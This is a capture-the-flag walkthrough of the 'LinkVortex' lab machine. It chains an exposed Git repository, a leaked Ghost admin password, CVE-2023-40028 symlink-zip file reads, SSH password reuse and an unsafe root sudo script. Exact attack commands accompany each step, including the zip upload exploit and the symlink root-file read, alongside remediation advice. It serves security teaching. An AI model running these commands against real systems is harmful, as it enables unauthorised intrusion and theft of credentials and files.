← all walkthroughs

LinkVortex

Linux· Easy
owned
2026-07-06
time to own
6m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The 'BitByBit Hardware' Ghost CMS site had its development subdomain misconfigured to serve the raw application Git repository over HTTP. Dumping that repository revealed a staged commit containing a hardcoded Ghost admin password in plaintext. That credential authenticated directly to the Ghost admin panel, which ran Ghost 5.58.0 — a version vulnerable to CVE-2023-40028, an authenticated arbitrary file-read via symlink-carrying zip imports.

Two targeted file reads — one against the Ghost production configuration file and one against the user home directory — disclosed the SSH password for OS account 'bob', which had been reused from the application layer. Logging in as bob and checking sudo permissions revealed passwordless rights to run a privileged cleanup script; the script blindly followed symlinks as root, allowing a symlink planted in its watched directory to expose the root flag and confirm full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationExposed .git directory via HTTP / virtual-host enumeration
Discovered development subdomain serving the live Git repository
A request to the target IP redirected to linkvortex.htb. Subdomain enumeration found dev.linkvortex.htb, which served its .git directory over plain HTTP — a fully clonable repository. The repository's config file confirmed the site was a fork of TryGhost/Ghost pinned to tag v5.58.0, immediately fingerprinting the exact CMS version and indicating a known vulnerable release.
Git-dumper received HTTP 200 on .git/HEAD and .git/config; config contained url = https://github.com/TryGhost/Ghost.git, fetch = +refs/tags/v5.58.0:ref
Exact commands 3
Register both vhosts for local name resolution.
echo "$TARGET linkvortex.htb dev.linkvortex.htb" | sudo tee -a /etc/hosts
Confirm the .git directory returns HTTP 200 and is browsable.
curl -s -i -H 'Host: dev.linkvortex.htb' http://$TARGET/.git/HEAD
Reconstruct the full source tree locally from the exposed Git objects.
git-dumper http://dev.linkvortex.htb/.git /tmp/lv
FixBlock public HTTP access to .git directories on all web serversHigh
WeaknessThe development subdomain served the live .git directory over unauthenticated HTTP, allowing anyone to reconstruct the full application source code, complete commit history, and staged diffs without any credentials.
FixAdd a server-level directive to deny all requests to paths beginning with .git. In Apache: add '<DirectoryMatch "(?i)^\.git"> Require all denied </DirectoryMatch>' to the virtual-host config or .htaccess. Audit every virtual host for the same exposure. Development and staging subdomains should never be internet-reachable; gate them behind VPN or IP allowlists.
2Credential AccessCredentials in source code / Git history (T1552.001)
Recovered hardcoded admin password from the Git staging area
Inspecting the cached (staged-but-not-yet-committed) diff in the dumped repository revealed a change to a Ghost authentication test fixture that replaced a placeholder string with the real admin password '[REDACTED: recovered credential]'. Because this change had been staged into the index, it was fully preserved in the dumped .git objects and readable without any authentication.
Exact commands 2
Inspect the staged index diff; exposes the admin password substitution.
cd /tmp/lv && git diff --cached -- ghost/core/test/regression/api/admin/authentication.test.js
Optional: sweep full commit history for additional embedded secrets.
cd /tmp/lv && git log --all --oneline
FixPurge hardcoded credentials from source code and Git history, and enforce secret scanningCritical
WeaknessA real admin password was committed to a test fixture in plaintext. Even if later overwritten, the credential persists indefinitely in Git staging area snapshots and commit history and is trivially recoverable by anyone who can access the repository.
FixImmediately rotate the exposed credential. Use git-filter-repo or BFG Repo Cleaner to scrub the secret from all branches, tags, and the index, then force-push and invalidate any cached clones. Going forward, enforce pre-commit hooks (git-secrets, detect-secrets, or similar) in CI to block credential patterns before they reach the repo. Secrets must live in environment variables or a dedicated vault, never in source files.
3ExploitationValid account authentication with exposed credential (T1078)
Authenticated to the Ghost admin panel with the leaked credential
The recovered password was submitted to the Ghost admin session API using the standard admin email pattern for the domain. The server responded with HTTP 201 Created and issued a full session cookie, confirming unrestricted Ghost administrator access — the starting prerequisite for CVE-2023-40028.
HTTP/1.1 201 Created with a session cookie recovered credential]...
Exact commands 1
Log in as Ghost admin; the session cookie is saved to cookies.txt for subsequent requests.
curl -s -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"admin@linkvortex.htb","password":"$PASSWORD"}' http://linkvortex.htb/ghost/api/admin/session/
4ExploitationAuthenticated arbitrary file read via symlink in archive upload (CVE-2023-40028)
Exploited CVE-2023-40028 to read arbitrary server files and extract SSH credentials
Ghost 5.58.0 is vulnerable to CVE-2023-40028: an authenticated admin can upload a database import zip archive containing a Unix symbolic link. When Ghost imports and later serves the archive contents, it resolves the symlink at serve-time and returns the target file's contents. A zip with a symlink pointing to /var/lib/ghost/config.production.json was imported via the admin API and fetched through the content-images URL, disclosing the production configuration including the OS-level password '[REDACTED: recovered credential]' for user bob.
Fetching /content/images/2026/07/cfg.png after import returned the contents of config.production.json, which contained bob's OS credential.
Exact commands 4
Create the Ghost content-images directory structure and plant the symlink to the target config file.
mkdir -p /tmp/exploit/content/images/2026/07 && ln -s /var/lib/ghost/config.production.json /tmp/exploit/content/images/2026/07/cfg.png
Pack the directory into a zip; --symlinks preserves the link rather than resolving it at pack time.
cd /tmp/exploit && zip --symlinks -r /tmp/exploit.zip content/
Upload via the Ghost database import endpoint; Ghost extracts and registers the symlink.
curl -s -b cookies.txt -F 'importfile=@/tmp/exploit.zip;type=application/zip' -X POST http://linkvortex.htb/ghost/api/admin/db
Request the 'image'; Ghost resolves the symlink and returns the config file contents — read bob's password.
curl -s -b cookies.txt http://linkvortex.htb/content/images/2026/07/cfg.png
FixUpgrade Ghost CMS to a patched version that resolves CVE-2023-40028Critical
WeaknessGhost 5.58.0 allowed an authenticated administrator to import a zip archive containing a Unix symlink. The server resolved the symlink at request time and returned the contents of any file readable by the ghost process — including application configs and home directories.
FixUpgrade Ghost to version 5.58.1 or later, which strips symlinks from uploaded archives before processing. Subscribe to the Ghost security advisory feed and apply security patches within 48 hours of release. Restrict the Ghost admin panel (/ghost/) to internal networks or VPN, and enforce two-factor authentication on all administrator accounts to limit the blast radius if a credential is ever leaked again.
5FootholdCredential reuse across application and OS layers (T1078.003)
Gained an interactive shell as OS user bob via SSH credential reuse
The password recovered from the Ghost production configuration file was identical to the SSH password for OS account bob — a direct reuse of an application secret as an operating-system credential. The OpenSSH service on port 22 accepted the credential, delivering a low-privilege interactive shell and the user flag.
Netexec ssh linkvortex.htb -u bob -p '[REDACTED: recovered credential]' returned [+] confirmed valid; SSH login succeeded and user.txt was read.
Exact commands 3
Validate the credential against SSH before opening a session.
netexec ssh linkvortex.htb -u bob -p '$PASSWORD3'
Open an interactive shell; authenticate with password [REDACTED: recovered credential].
ssh bob@linkvortex.htb
Capture the user flag: <user.txt>.
cat /home/bob/user.txt
FixNever store OS-level user passwords inside application configuration filesHigh
WeaknessThe Ghost production configuration file contained a string that was also the SSH password for OS user bob. Any vulnerability that exposed the config — such as CVE-2023-40028 — immediately translated into full interactive operating-system access.
FixApplication configuration files must contain only service-specific secrets (API keys, database connection strings), never OS account passwords. Create a dedicated service account for the application with no interactive login shell (usermod -s /usr/sbin/nologin) and a locked password. Enforce a password uniqueness policy so application secrets and OS credentials are never the same value. Restrict read permissions on config.production.json to the ghost service account (chmod 640, chown ghost:ghost).
6Privilege EscalationSudo misconfiguration / TOCTOU symlink-following (T1548.003)
Exploited a root-privileged sudo script that unsafely follows symlinks
Running 'sudo -l' as bob showed a passwordless sudo rule for /opt/ghost/clean_symlink.sh, a script intended to quarantine symlinks planted inside /home/bob/.cache. The script operated on that directory as root but never validated whether entries were real symlinks before acting on them — mirroring the same symlink-following weakness used to exploit Ghost. Placing a symlink at /home/bob/.cache/a.png pointing to /root/root.txt and invoking the script caused it to follow the link under a root context, disclosing the root flag and confirming full system compromise.
Sudo -l showed (ALL) NOPASSWD: /opt/ghost/clean_symlink.sh; after placing the symlink and running the script, root.txt content was disclosed.
Exact commands 4
Enumerate bob's sudo rights; reveals the NOPASSWD rule for clean_symlink.sh.
sudo -l
Plant the symlink to root.txt inside the directory the script monitors.
mkdir -p /home/bob/.cache && ln -s /root/root.txt /home/bob/.cache/a.png
Invoke the script as root; it follows the symlink to /root/root.txt and exposes its contents.
sudo /opt/ghost/clean_symlink.sh
Capture the root flag: <root.txt>.
cat /root/root.txt
FixRemove the unsafe passwordless sudo rule and harden the symlink cleanup scriptCritical
WeaknessBob had passwordless sudo rights to run /opt/ghost/clean_symlink.sh, a root-context script that operated on a directory bob fully controlled. The script followed symlinks without validation, letting bob redirect root-level file operations to any path on the system.
FixRemove the NOPASSWD sudo grant for clean_symlink.sh; if the script must remain, require password confirmation. Rewrite the script to detect and delete symlinks using 'test -L' rather than operate on them, and pass the -P flag to cp/mv to prevent implicit link resolution. Audit all remaining NOPASSWD sudo entries across every account with 'sudo -l' or by reviewing /etc/sudoers.d/*. As a belt-and-suspenders measure, consider running the cleanup logic as a dedicated low-privilege daemon with inotify rather than a sudo-invoked script.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp